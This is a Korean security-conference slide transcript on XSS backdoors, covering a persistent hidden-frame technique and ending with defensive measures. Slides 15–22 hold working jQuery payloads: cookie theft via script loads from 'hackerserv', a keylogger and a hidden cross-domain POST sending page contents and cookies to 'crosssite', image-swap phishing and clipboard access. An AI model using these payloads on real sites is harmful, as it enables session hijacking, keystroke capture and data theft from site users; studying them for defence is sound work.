1 / 30

해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

해킹기법 시연과 대응전략 (XSS Backdoor) http://hellsonic.tistory.com. OWASP Top 10. 어디서나 쉽게 발견되는 XSS. How Does XSS Work?. JavaScript. How Does XSS Work?. MITM. Request 스니 핑. 변조된 Response. ARP 스푸핑을 이용한 XSS. XSS Backdoor. XSS Backdoor 의 원리. ㉠ . 현재 프레임을 100%,100% 으로 생성

elpida
Download Presentation

해킹기법 시연과 대응전략 (XSS Backdoor) hellsonic.tistory

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. 해킹기법 시연과 대응전략(XSS Backdoor)http://hellsonic.tistory.com

  2. OWASP Top 10

  3. 어디서나 쉽게 발견되는 XSS

  4. How Does XSS Work? JavaScript

  5. How Does XSS Work? MITM Request 스니핑 변조된 Response ARP 스푸핑을 이용한 XSS

  6. XSS Backdoor

  7. XSS Backdoor 의 원리 • ㉠. 현재 프레임을 100%,100%으로 생성 • - 실제 보여질 페이지 (main 프레임) • ㉡. 부모 페이지에서(hack frame)main 프레임을 제어 • hack frame에서main frame 조작가능 • 사용자가 페이지 이동을 하여도 hack frame 은 유지되고 main frame에서만 페이지 이동. • Hack frame에서는 해커서버의파일을 지속적으로 열어서 실행(실시간 명령가능) • XSS Shell

  8. IFRAME의 특성 Target Browser Hack Frame Width:0 Height:0 Main Window None Display Frame View Frame

  9. Cross Domain http://www.bbb.com http://www.aaa.com

  10. Cross Domain http://login.domain.com http://id.domain.com

  11. Frame의 생성으로 제어가능 www.aaa.com Frame 1 Frame 2 (www.aaa.com) Frame2 를 Frame1에서생성

  12. XSS Backdoor - Time Line User Attacker Server Inject XSS Code Visit Server Receive XSS and infected Request Command Page(Ajax) setInterval (req(),3000); Receive Command and excute

  13. XSS Backdoor 시연

  14. XSS Backdoor 시연http://175.115.221.25/isec/

  15. hack.js (jquery) var data = ‘HackFrame<script src=http://hackerserv/control.php?cookie='+document.cookie+'></'+'script><script src=http://hackerserv/'+document.cookie+'.js></'+'script>');’; varstr+= "<iframeframeborder=0 id=mainframe name=mainframe height='100%' width=80% src=./ style='float:left'></iframe>"; str+= "<div id=hackfrstyle='float:left;'>HackFRAME</div>"; str+= "<script>"; str+= "function hack(){"; str+= “ $('#hackfr').html(data)"; str+= “ setTimeout('hack()',5000);"; str+= "}"; str+= “ setTimeout('hack()',50);" str+= "<"+"/script>"; $("body",parent.document).html(str);

  16. Keylogger(jquery) $('#mainframe').keydown(function(event){ $.get(http://crosssite/xss.php?data=+event.keyCode,function(){ }); })

  17. Change Banner (jquery) $('#mainframe').contents().find(‘#mainbanner').html(“Hi isec!”);

  18. 이미지 변조 피싱 (jquery) 모든 이미지의 변조 $(“img”).attr(“src”, “http://hack/hacker.jpg”);

  19. Page Viewer(jquery) var code = $('#mainframe').contents().find('html').html(); //code 변수에 mainframe의 코드가 모두 담김 Access Mail Service Frame

  20. Cross Domain POST 전송 Hack Frame Width:0 Height:0 Main Frame View Frame None Display Frame 1. None Display Frame 생성 2. FORM(method=post) 생성 3. Input 생성 -> 전송 값 삽입 4. 전송

  21. Cross Domain POST 전송 function crossDomainPost(hackdata) { variframe = document.createElement('iframe'); varuniqueString = 'hack2'; document.body.appendChild(iframe); iframe.style.display = 'none'; iframe.contentWindow.name = uniqueString var form = document.createElement('form'); form.target = uniqueString; form.action = 'http://crosssite/xss.php?cookie='+document.cookie; form.method = 'POST'; var input = document.createElement('input'); input.type = 'hidden'; input.name = 'data'; input.value = hackdata; form.appendChild(input); document.body.appendChild(form); form.submit(); document.removeChild(input); document.removeChild(form); document.removeChild(iframe); } varhackdata = $('#mainframe').contents().find('html').html(); crossDomainPost(hackdata);

  22. Clipboard Steal //ClipBoard Access varcp = "clip board!"; window.clipboardData.setData('Text', cp);

  23. Clipboard Steal ZeroClipboard 플래시(swf)를 이용한 경고없는Clipboard Access Cross-Browser 지원 http://code.google.com/p/zeroclipboard/

  24. DDOS

  25. DDOS(IFRAME)

  26. XSS 대응방안 • Server-Side • < &lt; • > &gt; • 사용자가 입력한 <, > 를 HTML 인코딩 함으로써 • 스크립트 사용을 방지 • But.. !! • 필터링을 할 수 없는 경우 ?

  27. 왜 <, >필터링을 할 수 없는가?

  28. 100% 대응방안? 3주 만에 총 지급상금 4만 달러 초과!

  29. 그럼 어떻게 ? DTD 선언 (웹 표준 준수) <a style=“xss:expression(alert(/xss/));”> 2. XSS Database 구축(정규식 이용) (script -> x-script 치환 등..) “script” -> “” * “scrscriptipt” -> “script” 3. 웹 개발자의 보안 인식 강화 4. 주기적인 보안 컨설팅, 취약점 점검 5. 서비스 사용자의 보안 인식 강화 6. 필요로 하지 않는 사이트는 게시판 에디터(HTML)의 사용을 금지 7. 중요한(로그인, 관리자) 페이지와 XSS취약점이 있을수 있는 페이지의 도메인 분리

  30. 감사합니다! Question ? korea.hellsonic@gmail.com

More Related